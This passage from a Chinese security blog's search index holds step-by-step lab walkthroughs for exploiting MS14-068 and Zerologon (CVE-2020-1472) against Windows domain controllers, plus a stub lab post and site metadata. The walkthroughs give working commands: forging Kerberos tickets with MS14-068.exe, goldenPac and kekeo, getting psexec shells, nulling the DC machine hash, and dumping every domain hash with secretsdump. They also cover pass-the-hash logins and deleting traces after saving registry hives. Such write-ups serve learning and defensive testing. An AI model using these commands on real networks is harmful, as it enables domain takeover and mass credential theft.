有这台域内计算机的域用户密码和sid (2) 利用工具exp下载地址: ms14-068.exe:https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068 impacket:https://github.com/maaaaz/impacket-examples-windows kekeo.exe:https://github.com/gentilkiwi/kekeo/releases (3) ms14-068.exe假设已经拿下普通域用户 1vxyz whoami /user得到了SID 利用ms14-068.exe 工具生成伪造的kerberos协议认证证书 123# 用法:MS14-068.exe -u <userName>@<domainName> -s <userSid> -d <domainControlerAddr> -p <clearPassword>C:\\Users\\1vxyz\\Desktop\\MS14-068>MS14-068.exe -u 1vxyz@god.org -s S-1-5-21-2952760202-1353902439-2381784089-1110 -d OWA.god.org -p Admin@123 生成了一个 .ccacheTGT票据,使用mimikatz 导入 TGT,获取域管理员权限票据 1kerberos::ptc TGT_1vxyz@god.org.ccache 导入票据成功, 访问域控 或者利用 PSExec 获取一个交互式shell。 12dir \\\\OWA\\C$psexec.exe \\\\OWA cmd.exe 成功访问了域控的C目录 psexec 获取域控交互式shell 不做进程迁移的话,域控这边可以看到该进程 下面这个是WINserver 2012的情况,测试时不成功 比较鸡肋,,, (3) goldenPac.exeimpacket工具包里的工具,它是MS14-068+psexec的组合,因此使用起来非常放方便快捷。 并且该方式获取的shell是system权限的 1goldenPac.exe god.org/1vxyz:Admin@123@OWA.god.org (4) kekeo.exe1kekeo.exe "xploit::ms14068 /domain:god.org /user:1vxyz /password:Admin@123 /ptt""exit" 申请到票据并注入内存,然后psexec 拿shell即可 参考:https://www.freebuf.com/articles/network/373088.html","link":"/2023/10/23/MS14-068%E6%BC%8F%E6%B4%9E%E5%8E%9F%E7%90%86%E5%8F%8A%E5%88%A9%E7%94%A8/"},{"title":"春秋云镜-Certify靶场","text":"靶标介绍: Certify是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有4个flag,分布于不同的靶机。 尚未开始,再拖拖……. Kerberos还没学完","link":"/2023/10/18/%E6%98%A5%E7%A7%8B%E4%BA%91%E9%95%9C-Certify%E9%9D%B6%E5%9C%BA/"},{"title":"CVE-2020-1472_NetLogon权限提升漏洞","text":"CVE-2020-1472 是⼀个 Windows 域控中非常严重的远程权限提升漏洞。 攻击者针对 Netlogon 协议认证的加密模块中的缺陷,通过 NetLogon,建⽴与域控间易受攻击的安全通道时,可以获取域控的管理员访问权限并将域控机器的Hash置空 <1> 漏洞简介CVE-2020-1472 是⼀个 Windows 域控中非常严重的远程权限提升漏洞。通过该漏洞,未经身份验证的攻击者只需要能访问域控的135端口即可通过 NetLogon 远程协议连接域控并重置域控机器的Hash(置空),从而导致攻击者可以利用域控的机器账户导出域内所有用户的Hash(域控的机器账户默认具有DCSync权限),进而接管整个域 漏洞发⽣在 RPC 认证过程的过程中,Netlogon协议认证的加密模块存在缺陷,由于错误的使⽤了 AES-CFB8 加密所导致 攻击者可以在没有凭据的情况下通过认证。通过认证后 调用 NetLogon协议中RPC函数 NetrServerPasswordSet2 来重置域控机器账户的 Hash 影响Windows Server 2008R 2至Windows Server 2019的多个版本系统,该漏洞无需获取到域用户账户密码。只要攻击者能访问到目标域控井且知道域控计算机名即可利用该漏洞 稳定利用方式 重置目标域控的密码, 然后利用域控凭证进行Dc sync获取域管权限后修复域控密码,之所以不直接使用坏控凭证远程执行命令,是因为域控账户是不可以登录的,但是域控具备Dc sync权限, 可以获取域内任意用户的凭证 注:漏洞利用过程中会重置域控存储在域中(ntds.dit)的凭证,而域控存储在域中的凭证 与 本地的注册表/lsass中的凭证不一致时,会导致目标域控脱域,所以在重置完域控凭证后要尽快恢复,谨慎利用 <2> 漏洞影响版本 Windows Server 2008 R2 for x64-based Systems Service Pack 1 Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation) Windows Server 2012 Windows Server 2012 (Server Core installation) Windows Server 2012 R2 Windows Server 2012 R2 (Server Core installation) Windows Server 2016 Windows Server 2016 (Server Core installation) Windows Server 2019 Windows Server 2019 (Server Core installation) Windows Server, version 1903 (Server Core installation) Windows Server, version 1909 (Server Core installation) Windows Server, version 2004 (Server Core installation) <3> 漏洞利用漏洞探测工具(poc):https://github.com/SecuraBV/CVE-2020-1472 漏洞利用工具(exp): https://github.com/dirkjanm/CVE-2020-1472 https://github.com/risksense/zerologon 测试环境: 域控 域名:DC.hack.com IP:192.168.16.10 系统版本:WinServer 2012 攻击机 域内主机:WIN2008 (非域内主机也可以 能访问到域控就行) IP:192.168.16.20 系统版本:winserver2008 查询域控的名称 12Nslookup -type=SRV _ldap._tcpnet group "domain controllers" /domain 域控主机名为:DC (1) 检测是否存在漏洞zerologon_tester.py探测 首先利用 Poc 检测一下漏洞是否存在: 1python zerologon_tester.py DC 192.168.16.10 Success! 存在漏洞 (2) 置空域控Hash前面确定目标域控存在NetLogon权限提升 使用 exploit 漏洞脚本将域控机器账号hash置空: 123python cve-2020-1472-exploit.py DC 192.168.16.10# 或python set_empty_pw.py DC 192.168.16.10 如图,可以看到攻击成功 (3) 远程连接域控攻击成功后,此时目标域控的机器账户DC$的密码已经被置空了。 由于域控机器账户默认在域内具有DCSync权限。因此,可以使用目标域控的机器账户DC$远程连接域控,指定Hash为空,使用secretsdump.py脚本到处域内任意用户的Hash 之后使用 DCSync dump hash 12345678910#使用机器账户DC$,置Hash为空,导出administrator的Hash#aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0是空值的HASH# 只导出administrator的hashsecretsdump hack.com/DC$@192.168.16.10 -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 -just-dc-user administratorsecretsdump hack.com/DC$@192.168.16.10 -no-pass -just-dc-user administrator# 导出域内所有用户的凭证secretsdump hack.com/DC$@192.168.16.10 -no-pass 得到了域控的Hash: 1Administrator:500:aad3b435b51404eeaad3b435b51404ee:570a9a65db8fba761c1008a51d4c95ab::: 成功dump下来 Administrator hash之后,接下来PTH Hash传递,smbexec或者wmicexec 远程连接域控 wmiexec连接 1wmiexec -hashes aad3b435b51404eeaad3b435b51404ee:570a9a65db8fba761c1008a51d4c95ab hack.com/Administrator@192.168.16.10 (4) 恢复域控机器账户hash恢复域控原始Hash:远程连上域控之后,通过导出注册表信息 将 sam、system、security 等文件保存到本地,获取域控机器上本地保存的之前的 hash 值用于恢复,不然就脱域了: 123456reg save HKLM\\SYSTEM system.savereg save HKLM\\SAM sam.savereg save HKLM\\SECURITY security.saveget system.saveget sam.saveget security.save 下载完之后删除痕迹文件 123del /f system.savedel /f sam.savedel /f security.save 之后通过Impacket 的 secretsdump.py 从sam.save、security.save、system.save 这些文件获得原来域控机器上的 Ntlm Hash 值,用于恢复密码 1secretsdump -sam sam.save -system system.save -security security.save LOCAL 通过拿到 $MACHINE.ACC: 的值 然后进行恢复:注意只需要后半部分NTLM hash: 1$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:22f85914afa5407206dff2bb06f169cf 1python reinstall_original_pw.py DC 192.168.16.10 22f85914afa5407206dff2bb06f169cf 成功恢复为域控机器原来的hash 显示成功但是不一定成功 再次secretsdump来检测是否恢复密码成功: 空密码去获取hash失败,恢复成功 一定要检验一下,如果实战中 不会还原导致目标脱域了 game over 使用powershell命令重置Hash另一种方法是 直接在域控上执行如下的Powershell命令,该命令会重置计算机的机器账户密码,重置后,活动目录数据库、注册表、lsass进程中的密码均一致,但重置后的密码与原始密码不一致 1PowerShell Reset-ComputerMachinePassword <4> 漏洞预防和修复如何针对NetLogon权限提升漏洞进行预防和修复呢? 微软已经发布了该漏洞的补丁程序,Windows自动更新解决以上的问题 参考:https://zhuanlan.zhihu.com/p/627855713","link":"/2023/10/25/CVE-2020-1472-NetLogon%E6%9D%83%E9%99%90%E6%8F%90%E5%8D%87%E6%BC%8F%E6%B4%9E/"}],"tags":[{"name":"内网靶场","slug":"内网靶场","link":"/tags/%E5%86%85%E7%BD%91%E9%9D%B6%E5%9C%BA/"},{"name":"java安全","slug":"java安全","link":"/tags/java%E5%AE%89%E5%85%A8/"},{"name":"电子取证","slug":"电子取证","link":"/tags/%E7%94%B5%E5%AD%90%E5%8F%96%E8%AF%81/"},{"name":"CTF比赛wp","slug":"CTF比赛wp","link":"/tags/CTF%E6%AF%94%E8%B5%9Bwp/"},{"name":"内网渗透","slug":"内网渗透","link":"/tags/%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F/"},{"name":"提权","slug":"提权","link":"/tags/%E6%8F%90%E6%9D%83/"},{"name":"工具","slug":"工具","link":"/tags/%E5%B7%A5%E5%85%B7/"},{"name":"漏洞复现","slug":"漏洞复现","link":"/tags/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/"},{"name":"免杀","slug":"免杀","link":"/tags/%E5%85%8D%E6%9D%80/"},{"name":"环境配置","slug":"环境配置","link":"/tags/%E7%8E%AF%E5%A2%83%E9%85%8D%E7%BD%AE/"}],"categories":[{"name":"内网渗透","slug":"内网渗透","link":"/categories/%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F/"},{"name":"CTF","slug":"CTF","link":"/categories/CTF/"}],"pages":[{"title":"about","text":"21级信息安全小菜鸡 Web方向 想钻研内网渗透","link":"/about/index.html"}]}